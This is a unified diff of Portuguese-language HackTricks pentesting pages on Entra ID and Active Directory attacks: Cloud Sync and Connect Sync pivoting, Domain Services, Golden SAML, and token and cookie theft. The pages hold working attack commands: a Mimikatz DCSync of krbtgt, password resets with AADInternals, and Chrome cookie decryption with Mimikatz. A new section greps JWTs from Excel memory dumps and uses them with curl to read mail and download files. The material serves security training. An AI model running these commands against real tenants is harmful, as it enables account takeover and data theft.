- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID, sincronizando automaticamente sua senha no domínio local. Mas de acordo com os [documentos atuais](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações.
|
||||
- **Grupos de gravação**: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD local. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.
|
||||
- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID, sincronizando automaticamente sua senha no domínio on-premise. Mas de acordo com os [documentos atuais](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações.
|
||||
- **Grupos de gravação**: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD on-premises. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD.
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, o pivoting do AD para o Entra ID é direto, basta **comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que seja sincronizado no diretório do Entra ID (geralmente apenas alguns minutos)**.
|
||||
- Se os usuários do AD estão sendo sincronizados do AD para o Entra ID, o pivoting do AD para o Entra ID é direto, basta **comprometer a senha de algum usuário ou alterar a senha de algum usuário ou criar um novo usuário e esperar até que seja sincronizado no diretório Entra ID (geralmente apenas alguns minutos)**.
|
||||
|
||||
Então você poderia, por exemplo:
|
||||
- Comprometer a conta **`provAgentgMSA`**, realizar um ataque DCSync, quebrar a senha de algum usuário e então usá-la para fazer login no Entra ID.
|
||||
@@ -127,7 +127,7 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conecte-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md), pois o Password Writeback é configurado usando esse agente.
|
||||
- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conectar-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md), pois o Password Writeback é configurado usando esse agente.
|
||||
|
||||
- Neste momento, o Cloud Sync também permite **"Microsoft Entra ID to AD"**, mas após muito tempo, descobri que ele NÃO PODE sincronizar usuários do EntraID para AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash da senha e vêm de um domínio que pertence à mesma floresta de domínio que o domínio para o qual estamos sincronizando, como você pode ler em [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
[Da documentação:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Os serviços de sincronização do Microsoft Entra Connect (Microsoft Entra Connect Sync) são um componente principal do Microsoft Entra Connect. Ele cuida de todas as operações relacionadas à sincronização de dados de identidade entre seu ambiente local e o Microsoft Entra ID.
|
||||
|
||||
Para usá-lo, é necessário instalar o **`Microsoft Entra Connect Sync`** agente em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
|
||||
Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`** em um servidor dentro do seu ambiente AD. Este agente será responsável pela sincronização do lado do AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -16,11 +16,11 @@ O **Connect Sync** é basicamente a maneira "antiga" de **sincronizar usuários
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principais Gerados
|
||||
### Principais Contas Geradas
|
||||
|
||||
- A conta **`MSOL_<installationID>`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
|
||||
- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local.
|
||||
- Uma conta de serviço gerenciada **`ADSyncMSA<id>`** é criada no AD local sem privilégios padrão especiais.
|
||||
- Isso significa que qualquer um que comprometer esta conta poderá comprometer o domínio local.
|
||||
- Uma conta de serviço gerenciada **`ADSyncMSA<id>`** é criada no AD local sem privilégios especiais por padrão.
|
||||
- No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_<id>`** é criado com um certificado.
|
||||
|
||||
## Sincronizar Senhas
|
||||
@@ -33,12 +33,12 @@ Este componente também pode ser usado para **sincronizar senhas do AD para o En
|
||||
|
||||
Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.
|
||||
|
||||
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
|
||||
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **a expiração de senhas** e **a expiração de contas** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
|
||||
|
||||
Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**.
|
||||
> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que têm privilégios elevados atribuídos diretamente **podem ser sincronizados**.
|
||||
|
||||
### Escrita de Senha
|
||||
|
||||
@@ -46,9 +46,9 @@ Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando
|
||||
|
||||
Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário.
|
||||
|
||||
Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que foram atribuídos a altos privilégios dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo:
|
||||
Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que receberam privilégios elevados dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo:
|
||||
|
||||
- Usuários atribuídos a altos privilégios diretamente.
|
||||
- Usuários atribuídos a privilégios elevados diretamente.
|
||||
- Usuários do grupo **`DNSAdmins`**.
|
||||
- Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram.
|
||||
- Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory.
|
||||
@@ -90,7 +90,7 @@ O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\D
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível obter privilégios elevados no AD e no AzureAD.
|
||||
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do `MSOL_*`** usuário no AD local e a senha do **Sync\_\*** no AzureAD. Portanto, comprometendo essas, é possível realizar privesc para o AD e para o AzureAD.
|
||||
|
||||
Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
@@ -114,7 +114,6 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
> [!WARNING]
|
||||
> Ataques anteriores comprometeram a outra senha para então conectar ao usuário do Entra ID chamado `Sync_*` e, em seguida, comprometer o Entra ID. No entanto, esse usuário não existe mais.
|
||||
|
||||
|
||||
### Abusando ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra ID ou Azure atribuídas. No entanto, possui as seguintes permissões de API:
|
||||
@@ -129,7 +128,7 @@ Este aplicativo é criado sem ter quaisquer funções de gerenciamento do Entra
|
||||
É mencionado que o SP deste aplicativo ainda pode ser usado para realizar algumas ações privilegiadas usando uma API não documentada, mas nenhuma PoC foi encontrada até onde sei.\
|
||||
De qualquer forma, pensando que isso pode ser possível, seria interessante explorar mais a fundo como encontrar o certificado para fazer login como este principal de serviço e tentar abusar dele.
|
||||
|
||||
Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi publicado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP.
|
||||
Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) foi lançado logo antes da mudança de usar o usuário `Sync_*` para este principal de serviço, explicando que o certificado estava armazenado dentro do servidor e era possível encontrá-lo, gerar PoP (Proof of Possession) dele e token gráfico, e com isso, ser capaz de adicionar um novo certificado ao principal de serviço (porque um **principal de serviço** pode sempre se atribuir novos certificados) e então usá-lo para manter persistência como o SP.
|
||||
|
||||
Para realizar essas ações, as seguintes ferramentas estão publicadas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
@@ -173,7 +172,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
É também possível despejar a senha deste usuário.
|
||||
É também possível extrair a senha deste usuário.
|
||||
|
||||
> [!CAUTION]
|
||||
> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
|
||||
@@ -0,0 +1,86 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Controladores de Domínio (na verdade, você nem tem acesso a eles).
|
||||
|
||||
Seu principal objetivo é permitir que você execute aplicativos legados na nuvem que não podem usar métodos de autenticação modernos, ou onde você não deseja que as consultas de diretório sempre voltem para um ambiente AD DS local.
|
||||
|
||||
Observe que, para sincronizar os usuários gerados no Entra ID (e não sincronizados de outros diretórios ativos) com o serviço de domínio AD, você precisa **mudar a senha do usuário** para uma nova, para que possa ser sincronizada com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para os Serviços de Domínio até que a senha seja alterada.
|
||||
|
||||
> [!WARNING]
|
||||
> Mesmo que você esteja criando um novo domínio de diretório ativo, não poderá gerenciá-lo completamente (a menos que explore algumas configurações incorretas), o que significa que, por padrão, por exemplo, você não pode criar usuários diretamente no AD. Você os cria **sincronizando usuários do Entra ID.** Você pode indicar para sincronizar todos os usuários (mesmo aqueles sincronizados de outros ADs locais), apenas usuários da nuvem (usuários criados no Entra ID) ou até mesmo **filtrá-los mais**.
|
||||
|
||||
> [!NOTE]
|
||||
> Em geral, devido à falta de flexibilidade na configuração do novo domínio e ao fato de que os ADs geralmente já estão no local, esta não é a principal integração entre Entra ID e AD, mas ainda é interessante saber como comprometê-lo.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Membros do grupo gerado **`AAD DC Administrators`** recebem permissões de administrador local em VMs que estão unidas ao domínio gerenciado (mas não nos controladores de domínio) porque são adicionados ao grupo de administradores locais. Membros deste grupo também podem usar **Remote Desktop para se conectar remotamente a VMs unidas ao domínio**, e também são membros dos grupos:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Este é um grupo que especifica usuários e grupos cujas senhas não podem ser armazenadas em cache em RODCs (Controladores de Domínio Somente para Leitura).
|
||||
- **`Group Policy Creators Owners`**: Este grupo permite que os membros criem Políticas de Grupo no domínio. No entanto, seus membros não podem aplicar políticas de grupo a usuários ou grupos ou editar GPOs existentes, então não é tão interessante neste ambiente.
|
||||
- **`DnsAdmins`**: Este grupo permite gerenciar as configurações de DNS e foi abusado no passado para [escalar privilégios e comprometer o domínio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), no entanto, após testar o ataque neste ambiente, foi verificado que a vulnerabilidade está corrigida:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Note que, para conceder essas permissões, dentro do AD, o grupo **`AAD DC Administrators`** é feito membro dos grupos anteriores, e também a GPO **`AADDC Computers GPO`** está adicionando como Administradores Locais todos os membros do grupo de domínio **`AAD DC Administrators`**.
|
||||
|
||||
Fazer pivotagem do Entra ID para um AD criado com Domain Services é simples, basta adicionar um usuário ao grupo **`AAD DC Administrators`**, acessar via RDP a qualquer/todas as máquinas no domínio e você poderá roubar dados e também **comprometer o domínio.**
|
||||
|
||||
No entanto, fazer pivotagem do domínio para o Entra ID não é tão fácil, pois nada do domínio está sendo sincronizado no Entra ID. No entanto, sempre verifique os metadados de todas as VMs unidas, pois suas identidades gerenciadas atribuídas podem ter permissões interessantes. Também **extraia todas as senhas dos usuários do domínio** e tente quebrá-las para então fazer login no Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Note que no passado, outras vulnerabilidades neste AD gerenciado foram encontradas que permitiram comprometer os DCs, [como esta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Um atacante que comprometer o DC poderia muito facilmente manter persistência sem que os administradores do Azure notassem ou mesmo conseguissem removê-la.
|
||||
|
||||
### Enumeração
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
|
||||
--body '{
|
||||
"subscriptions": [
|
||||
"0ce1297c-9153-425d-3229-f51093614377"
|
||||
],
|
||||
"query": "resources | where type == \"microsoft.aad/domainservices\"",
|
||||
"options": {
|
||||
"$top": 16,
|
||||
"$skip": 0,
|
||||
"$skipToken": ""
|
||||
}
|
||||
}'
|
||||
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
|
||||
vnet_name="aadds-vnet"
|
||||
|
||||
# Retrieve all VMs in the subscription
|
||||
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
|
||||
|
||||
# Iterate through each VM to check their VNet connection
|
||||
echo "VMs connected to VNet '$vnet_name':"
|
||||
while IFS=$'\t' read -r vm_name resource_group; do
|
||||
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
|
||||
|
||||
for nic_id in $nic_ids; do
|
||||
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
|
||||
|
||||
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
|
||||
echo "VM Name: $vm_name, Resource Group: $resource_group"
|
||||
fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -23,7 +23,7 @@ Em qualquer configuração de federação, existem três partes:
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.
|
||||
1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Este passo pode ser ignorado, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica.
|
||||
2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido.
|
||||
3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário.
|
||||
4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço.
|
||||
@@ -48,7 +48,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- No ADFS, a SAML Response é assinada por um certificado de assinatura de token.
|
||||
- Se o certificado for comprometido, é possível autenticar no Azure AD como QUALQUER usuário sincronizado com o Azure AD!
|
||||
- Assim como nosso abuso de PTA, a mudança de senha para um usuário ou MFA não terá efeito porque estamos forjando a resposta de autenticação.
|
||||
- O certificado pode ser extraído do servidor AD FS com privilégios de DA e pode ser usado de qualquer máquina conectada à internet.
|
||||
- O certificado pode ser extraído do servidor AD FS com privilégios de DA e então pode ser usado de qualquer máquina conectada à internet.
|
||||
- Mais informações em [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### Golden SAML
|
||||
@@ -61,7 +61,7 @@ Golden SAMLs oferecem certas vantagens:
|
||||
|
||||
- Podem ser **criados remotamente**, sem a necessidade de fazer parte do domínio ou federação em questão.
|
||||
- Permanecem eficazes mesmo com **Autenticação de Dois Fatores (2FA)** habilitada.
|
||||
- A chave privada de assinatura de token **não se renova automaticamente**.
|
||||
- A chave privada de assinatura de **token não se renova automaticamente**.
|
||||
- **Mudar a senha de um usuário não invalida** um SAML já gerado.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
@@ -76,11 +76,11 @@ Os requisitos para executar um ataque golden SAML incluem:
|
||||
- **Certificado público do IdP**
|
||||
- **Nome do IdP**
|
||||
- **Nome do papel (papel a assumir)**
|
||||
- Domínio\username
|
||||
- Domain\username
|
||||
- Nome da sessão de papel na AWS
|
||||
- ID da conta da Amazon
|
||||
|
||||
_Somente os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._
|
||||
_ Apenas os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._
|
||||
|
||||
Para adquirir a **chave privada**, é necessário acesso à **conta de usuário do AD FS**. A partir daí, a chave privada pode ser **exportada do armazenamento pessoal** usando ferramentas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS:
|
||||
```bash
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Forçando a Sincronização de usuários do Entra ID para o on-prem
|
||||
## Forçando a Sincronização de Usuários do Entra ID para o on-prem
|
||||
|
||||
Como mencionado em [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era possível alterar o valor de **`ProxyAddress`** dentro de um usuário do AD no on-prem adicionando o e-mail de um usuário administrador do Entra ID e também garantindo que o UPN do usuário no AD e no Entra ID correspondesse (este é o Entra ID novamente), como **`SMTP:admin@domain.onmicrosoft.com`**. E isso **forçaria a sincronização deste usuário** do Entra ID para o AD on-prem, então se a senha do usuário fosse conhecida, poderia ser usada para **acessar o administrador usado no Entra ID.**
|
||||
|
||||
@@ -11,7 +11,7 @@ Para sincronizar um novo usuário do Entra ID para o AD on-prem, os requisitos s
|
||||
|
||||
- Controlar os atributos de um usuário no AD on-prem (ou ter permissões para criar novos usuários)
|
||||
- Conhecer o usuário apenas na nuvem para sincronizar do Entra ID para o AD on-prem
|
||||
- Você também pode precisar ser capaz de alterar o atributo immutableID do usuário do Entra ID para o usuário do AD on-prem para fazer um **hard match**.
|
||||
- Você também pode precisar ser capaz de alterar o atributo immutableID do usuário do Entra ID para o usuário do AD on-prem para fazer uma **correspondência exata**.
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando preocupações de segurança:
|
||||
|
||||
1. **Access Tokens**: Armazenados em texto simples dentro de `accessTokens.json` localizado em `C:\Users\<username>\.Azure`.
|
||||
1. **Tokens de Acesso**: Armazenados em texto simples dentro de `accessTokens.json` localizado em `C:\Users\<username>\.Azure`.
|
||||
2. **Informações de Assinatura**: `azureProfile.json`, no mesmo diretório, contém detalhes da assinatura.
|
||||
3. **Arquivos de Log**: A pasta `ErrorRecords` dentro de `.azure` pode conter logs com credenciais expostas, como:
|
||||
- Comandos executados com credenciais incorporadas.
|
||||
@@ -16,24 +16,44 @@ Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando
|
||||
|
||||
### Azure PowerShell
|
||||
|
||||
Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente:
|
||||
O Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente:
|
||||
|
||||
1. **Access Tokens**: `TokenCache.dat`, localizado em `C:\Users\<username>\.Azure`, armazena tokens de acesso em texto simples.
|
||||
1. **Tokens de Acesso**: `TokenCache.dat`, localizado em `C:\Users\<username>\.Azure`, armazena tokens de acesso em texto simples.
|
||||
2. **Segredos de Principal de Serviço**: Estes são armazenados sem criptografia em `AzureRmContext.json`.
|
||||
3. **Recurso de Salvamento de Token**: Os usuários têm a capacidade de persistir tokens usando o comando `Save-AzContext`, que deve ser usado com cautela para evitar acesso não autorizado.
|
||||
|
||||
## Ferramentas Automáticas para encontrá-los
|
||||
### Ferramentas Automáticas para encontrá-los
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Recomendações de Segurança
|
||||
## Tokens na memória
|
||||
|
||||
Considerando o armazenamento de dados sensíveis em texto simples, é crucial proteger esses arquivos e diretórios por meio de:
|
||||
Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alguns softwares da Microsoft sincronizados com a nuvem (Excel, Teams...) podem **armazenar tokens de acesso em texto claro na memória**. Portanto, apenas **dumps** da **memória** do processo e **grepando por tokens JWT** podem conceder acesso a vários recursos da vítima na nuvem, contornando o MFA.
|
||||
|
||||
- Limitação dos direitos de acesso a esses arquivos.
|
||||
- Monitoramento e auditoria regulares desses diretórios para acesso não autorizado ou mudanças inesperadas.
|
||||
- Emprego de criptografia para arquivos sensíveis sempre que possível.
|
||||
- Educação dos usuários sobre os riscos e melhores práticas para lidar com tais informações sensíveis.
|
||||
Passos:
|
||||
|
||||
1. Faça o dump dos processos do excel sincronizados com o usuário do EntraID com sua ferramenta favorita.
|
||||
2. Execute: `string excel.dmp | grep 'eyJ0'` e encontre vários tokens na saída.
|
||||
3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Observe que esses tipos de tokens de acesso também podem ser encontrados dentro de outros processos.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pelo Entra ID CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**.
|
||||
Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pela Entra ID CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**.
|
||||
|
||||
Em termos super simplificados:
|
||||
|
||||
- A máquina (cliente) que inicia a conexão **precisa de um certificado do Entra ID para um usuário**.
|
||||
- O cliente cria um cabeçalho de JSON Web Token (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para o Entra ID**.
|
||||
- O Entra ID verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**.
|
||||
- A máquina (cliente) que inicia a conexão **precisa de um certificado da Entra ID para um usuário**.
|
||||
- O cliente cria um cabeçalho JSON Web Token (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para a Entra ID**.
|
||||
- A Entra ID verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**.
|
||||
|
||||
Neste cenário e após obter todas as informações necessárias para um ataque de [**Pass the PRT**](pass-the-prt.md):
|
||||
Neste cenário e após obter todas as informações necessárias para um ataque [**Pass the PRT**](az-primary-refresh-token-prt.md):
|
||||
|
||||
- Nome de usuário
|
||||
- ID do locatário
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Por que Cookies?
|
||||
|
||||
**Cookies** de navegador são um ótimo mecanismo para **contornar a autenticação e MFA**. Como o usuário já se autenticou no aplicativo, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar se re-autenticar.
|
||||
Cookies de **navegador** são um ótimo mecanismo para **contornar a autenticação e MFA**. Como o usuário já se autenticou na aplicação, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar se re-autenticar.
|
||||
|
||||
Você pode ver onde estão **localizados os cookies do navegador** em:
|
||||
|
||||
@@ -24,7 +24,7 @@ Com o Mimikatz em mãos, sou capaz de **extrair os cookies de um usuário** mesm
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
Para o Azure, nos importamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário esteve ativo no Azure recentemente.
